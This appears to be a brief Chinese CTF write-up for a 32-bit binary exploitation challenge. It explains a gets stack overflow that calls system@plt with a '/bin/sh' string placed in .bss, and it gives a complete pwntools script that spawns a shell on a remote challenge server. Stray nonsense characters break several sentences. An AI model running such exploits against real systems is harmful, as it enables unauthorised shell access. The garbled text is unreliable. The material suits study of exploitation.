checksec后試運行吗氏,有兩個輸入
32位ida
點進(jìn)去hello()
可以利用fgets和gets棧溢出
發(fā)現(xiàn)pwn函數(shù)里有system,參數(shù)不對,system在plt地址為0x08048420
shift+F12找字符串富拗,這次就找不到binsh了,看來要想辦法寫進(jìn)去
第一次輸入的name在bss段鸣戴,地址為0x0804A080
第二次輸入時gets函數(shù)啃沪,在plt地址為0x080483F0
那我們就在第一次輸入把/bin/sh用fgets寫進(jìn)去,第二次利用gets的棧溢出調(diào)用syste(/bin/sh)
寫腳本
#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',47419)
system_plt = 0x08048420
bss = 0x0804A080
p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')
payload = ''
payload += 'A'*0x26
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(bss)
p.sendline(payload)
p.interactive()
成功